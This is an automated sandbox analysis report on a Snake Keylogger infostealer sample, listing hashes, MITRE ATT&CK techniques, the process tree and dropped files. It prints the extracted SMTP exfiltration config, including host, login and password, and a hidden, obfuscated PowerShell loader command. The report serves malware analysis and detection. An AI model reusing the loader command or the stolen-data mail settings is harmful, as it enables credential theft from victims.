snakekeylogger | 85fef3b696a7476ae1d961d959d6afc9f3db592a9f38137f33e84a042e1aed87

Analysis

max time kernel
148s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
14/10/2024, 09:48

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General

Target

Aldersgruppeen.exe
Size

592KB
MD5

ec0272193c8164d401b2ab2778c9cc16
SHA1

3f540bbd6631067183b0ba96d8a19420aacc956c
SHA256

85fef3b696a7476ae1d961d959d6afc9f3db592a9f38137f33e84a042e1aed87
SHA512

538af178dbddd67a79ee989bc7aac13d389b1a22a515593daf108df0c8d4c59a7124841c1b21d3b8386f1e21b4fb1d9a883cd420e6572cb35199f278eec797a6
SSDEEP

12288:Stons9Huj0tm12i9L8XK8+xhslfSs9abpsOrMe7g2eUz:3nuFtmF9IXK8EGlftabpsizT

Score

10^/10

snakekeylogger discovery execution keylogger stealer

Malware Config

Extracted

Family

snakekeylogger

Credentials

Protocol: smtp
Host:
smtp.securemail.pro
Port:
587
Username:
[email protected]
Password:
jrpM0Y5k
Email To:
[email protected]

Signatures

Snake Keylogger
Keylogger and Infostealer first seen in November 2020.
stealer keylogger snakekeylogger

Snake Keylogger payload 1 IoCs

resource	yara_rule
behavioral2/memory/3668-76-0x0000000001000000-0x0000000002254000-memory.dmp	family_snakekeylogger

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4796	powershell.exe

Blocklisted process makes network request 5 IoCs

flow	pid	Process
20	3668	msiexec.exe
22	3668	msiexec.exe
24	3668	msiexec.exe
26	3668	msiexec.exe
30	3668	msiexec.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
19	drive.google.com
20	drive.google.com

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
3668	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
4796	powershell.exe
3668	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4296	3668	WerFault.exe	89

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Aldersgruppeen.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
4796	powershell.exe
4796	powershell.exe
4796	powershell.exe
4796	powershell.exe
4796	powershell.exe
4796	powershell.exe
4796	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
4796	powershell.exe

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	4796	powershell.exe
Token: SeIncreaseQuotaPrivilege	4796	powershell.exe
Token: SeSecurityPrivilege	4796	powershell.exe
Token: SeTakeOwnershipPrivilege	4796	powershell.exe
Token: SeLoadDriverPrivilege	4796	powershell.exe
Token: SeSystemProfilePrivilege	4796	powershell.exe
Token: SeSystemtimePrivilege	4796	powershell.exe
Token: SeProfSingleProcessPrivilege	4796	powershell.exe
Token: SeIncBasePriorityPrivilege	4796	powershell.exe
Token: SeCreatePagefilePrivilege	4796	powershell.exe
Token: SeBackupPrivilege	4796	powershell.exe
Token: SeRestorePrivilege	4796	powershell.exe
Token: SeShutdownPrivilege	4796	powershell.exe
Token: SeDebugPrivilege	4796	powershell.exe
Token: SeSystemEnvironmentPrivilege	4796	powershell.exe
Token: SeRemoteShutdownPrivilege	4796	powershell.exe
Token: SeUndockPrivilege	4796	powershell.exe
Token: SeManageVolumePrivilege	4796	powershell.exe
Token: 33	4796	powershell.exe
Token: 34	4796	powershell.exe
Token: 35	4796	powershell.exe
Token: 36	4796	powershell.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 2192 wrote to memory of 4796	2192	Aldersgruppeen.exe	85
PID 2192 wrote to memory of 4796	2192	Aldersgruppeen.exe	85
PID 2192 wrote to memory of 4796	2192	Aldersgruppeen.exe	85
PID 4796 wrote to memory of 3668	4796	powershell.exe	89
PID 4796 wrote to memory of 3668	4796	powershell.exe	89
PID 4796 wrote to memory of 3668	4796	powershell.exe	89
PID 4796 wrote to memory of 3668	4796	powershell.exe	89

C:\Users\Admin\AppData\Local\Temp\Aldersgruppeen.exe
"C:\Users\Admin\AppData\Local\Temp\Aldersgruppeen.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2192
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -windowstyle hidden "$Trrepladsen=Get-Content -raw 'C:\Users\Admin\AppData\Local\akustikeres\springavancementerne\Otelcosis\Makabreres.Vol';$affldig=$Trrepladsen.SubString(53135,3);.$affldig($Trrepladsen)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4796
- - C:\Windows\SysWOW64\msiexec.exe
    "C:\Windows\SysWOW64\msiexec.exe"
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    PID:3668
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3668 -s 1768
      4⤵
      Program crash
      PID:4296

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 3668 -ip 3668
1⤵
PID:3680

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3gt0orsb.x5j.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\akustikeres\springavancementerne\Otelcosis\Fralggende.Was

Filesize
297KB

MD5
7155df5c4236cae0dc3955f3226034ae

SHA1
a938f4dfef0d5174a2f0f36b323e6a1cba0dafa9

SHA256
f9796f2ceed535a2f5b0d0fe5483ee18721ade4d538ac820fb1ed2dc62177f2e

SHA512
36e109335a3e637d1301d82f5e242b4bb590d39ee8e63e4f69e0ba070c243611781fde9f7f10cdd1c78eb7cc6afc1ed9d37dd09c14cbdcd48d3737b885447462

Download Submit
C:\Users\Admin\AppData\Local\akustikeres\springavancementerne\Otelcosis\Makabreres.Vol

Filesize
51KB

MD5
7813853161f7340e47a87cdbdfd3a56d

SHA1
830361f5c97f811af32b9b6ffa4aecaf69ea3ceb

SHA256
b78167a2812a5b68085e363f88ddacc193f2a311f6ca4ff961a4eb79dbea218b

SHA512
b895170e7e4568f9e73435101741a56da226a87371b3bda4a098d7e7af974341e3726fbab56a69eb6ec241351832c7d023008473d44daaaa1768626b670be418

Download Submit
memory/3668-76-0x0000000001000000-0x0000000002254000-memory.dmp

Filesize
18.3MB

Download
memory/4796-33-0x0000000007B20000-0x0000000007B52000-memory.dmp

Filesize
200KB

Download
memory/4796-47-0x0000000074710000-0x0000000074EC0000-memory.dmp

Filesize
7.7MB

Download
memory/4796-14-0x0000000006060000-0x00000000060C6000-memory.dmp

Filesize
408KB

Download
memory/4796-13-0x0000000005FF0000-0x0000000006056000-memory.dmp

Filesize
408KB

Download
memory/4796-9-0x0000000074710000-0x0000000074EC0000-memory.dmp

Filesize
7.7MB

Download
memory/4796-48-0x0000000007B90000-0x0000000007C33000-memory.dmp

Filesize
652KB

Download
memory/4796-25-0x00000000066D0000-0x00000000066EE000-memory.dmp

Filesize
120KB

Download
memory/4796-26-0x0000000006720000-0x000000000676C000-memory.dmp

Filesize
304KB

Download
memory/4796-27-0x00000000076B0000-0x0000000007746000-memory.dmp

Filesize
600KB

Download
memory/4796-28-0x0000000006C20000-0x0000000006C3A000-memory.dmp

Filesize
104KB

Download
memory/4796-29-0x0000000006C40000-0x0000000006C62000-memory.dmp

Filesize
136KB

Download
memory/4796-30-0x0000000007D40000-0x00000000082E4000-memory.dmp

Filesize
5.6MB

Download
memory/4796-11-0x0000000074710000-0x0000000074EC0000-memory.dmp

Filesize
7.7MB

Download
memory/4796-32-0x0000000008970000-0x0000000008FEA000-memory.dmp

Filesize
6.5MB

Download
memory/4796-34-0x0000000070530000-0x000000007057C000-memory.dmp

Filesize
304KB

Download
memory/4796-35-0x0000000074710000-0x0000000074EC0000-memory.dmp

Filesize
7.7MB

Download
memory/4796-7-0x000000007471E000-0x000000007471F000-memory.dmp

Filesize
4KB

Download
memory/4796-36-0x00000000706C0000-0x0000000070A14000-memory.dmp

Filesize
3.3MB

Download
memory/4796-12-0x0000000005810000-0x0000000005832000-memory.dmp

Filesize
136KB

Download
memory/4796-46-0x0000000007B60000-0x0000000007B7E000-memory.dmp

Filesize
120KB

Download
memory/4796-24-0x00000000060D0000-0x0000000006424000-memory.dmp

Filesize
3.3MB

Download
memory/4796-49-0x0000000074710000-0x0000000074EC0000-memory.dmp

Filesize
7.7MB

Download
memory/4796-50-0x0000000007C90000-0x0000000007C9A000-memory.dmp

Filesize
40KB

Download
memory/4796-51-0x0000000007CD0000-0x0000000007CFA000-memory.dmp

Filesize
168KB

Download
memory/4796-52-0x0000000007D00000-0x0000000007D24000-memory.dmp

Filesize
144KB

Download
memory/4796-53-0x0000000074710000-0x0000000074EC0000-memory.dmp

Filesize
7.7MB

Download
memory/4796-54-0x0000000074710000-0x0000000074EC0000-memory.dmp

Filesize
7.7MB

Download
memory/4796-10-0x0000000005850000-0x0000000005E78000-memory.dmp

Filesize
6.2MB

Download
memory/4796-57-0x0000000074710000-0x0000000074EC0000-memory.dmp

Filesize
7.7MB

Download
memory/4796-56-0x000000007471E000-0x000000007471F000-memory.dmp

Filesize
4KB

Download
memory/4796-58-0x0000000074710000-0x0000000074EC0000-memory.dmp

Filesize
7.7MB

Download
memory/4796-59-0x0000000074710000-0x0000000074EC0000-memory.dmp

Filesize
7.7MB

Download
memory/4796-60-0x0000000008FF0000-0x000000000B70F000-memory.dmp

Filesize
39.1MB

Download
memory/4796-61-0x0000000074710000-0x0000000074EC0000-memory.dmp

Filesize
7.7MB

Download
memory/4796-62-0x0000000074710000-0x0000000074EC0000-memory.dmp

Filesize
7.7MB

Download
memory/4796-63-0x0000000074710000-0x0000000074EC0000-memory.dmp

Filesize
7.7MB

Download
memory/4796-8-0x00000000030E0000-0x0000000003116000-memory.dmp

Filesize
216KB

Download